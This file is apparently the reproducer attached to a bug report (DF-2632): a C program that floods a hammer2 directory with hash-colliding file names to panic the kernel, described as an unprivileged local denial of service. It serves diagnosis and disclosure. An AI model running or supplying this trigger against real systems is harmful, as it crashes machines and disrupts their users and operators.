DF-2632 / fill2632.c
/* * DF-2632 — standalone dense-dirent fill trigger (unprivileged local DoS). * * Fills one hammer2 directory with names generated by gen_names.c (all * sharing one CRC32C, hence one 64K dirhash collision window). The * flusher's indirect-block maintenance path * (hammer2_flush_core -> hammer2_chain_indirect_maintenance -> * hammer2_chain_rename_obref -> hammer2_base_insert) * panics with "insert base %p overlapping elements" / * "td_critcount is/would-go negative" (INVARIANTS) once the window gets * dense enough. * * Progress is printed (and flushed) after every <batch> creations so the * panic-time dirent count is recoverable from the captured stdout even * though the ssh session dies with the guest. * * usage: fill2632 <dir> <names-file> [batch] */ #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { FILE *nf; char name[256]; const char *dir; long created = 0, errors = 0; long batch = 256; int fd; if (argc < 3 || argc > 4) { fprintf(stderr, "usage: %s <dir> <names-file> [batch]\n", argv[0]); return 2; } dir = argv[1]; if (argc == 4) batch = atol(argv[3]); if (batch < 1) batch = 1; nf = fopen(argv[2], "r"); if (nf == NULL) { perror(argv[2]); return 2; } while (fgets(name, sizeof(name), nf) != NULL) { size_t n = strlen(name); while (n > 0 && (name[n-1] == '\n' || name[n-1] == '\r')) name[--n] = 0; if (n == 0) continue; fd = openat(AT_FDCWD, dir, 0); /* not used; openat by path */ (void)fd; { char path[1024]; snprintf(path, sizeof(path), "%s/%s", dir, name); fd = open(path, O_CREAT | O_EXCL | O_WRONLY, 0644); } if (fd < 0) { ++errors; if (errors <= 20) fprintf(stderr, "create %s failed: %s\n", name, strerror(errno)); } else { ++created; close(fd); } if ((created % batch) == 0 && created) { sync(); printf("created=%ld errors=%ld\n", created, errors); fflush(stdout); fflush(stderr); } } fclose(nf); sync(); printf("DONE created=%ld errors=%ld\n", created, errors); fflush(stdout); return 0; } |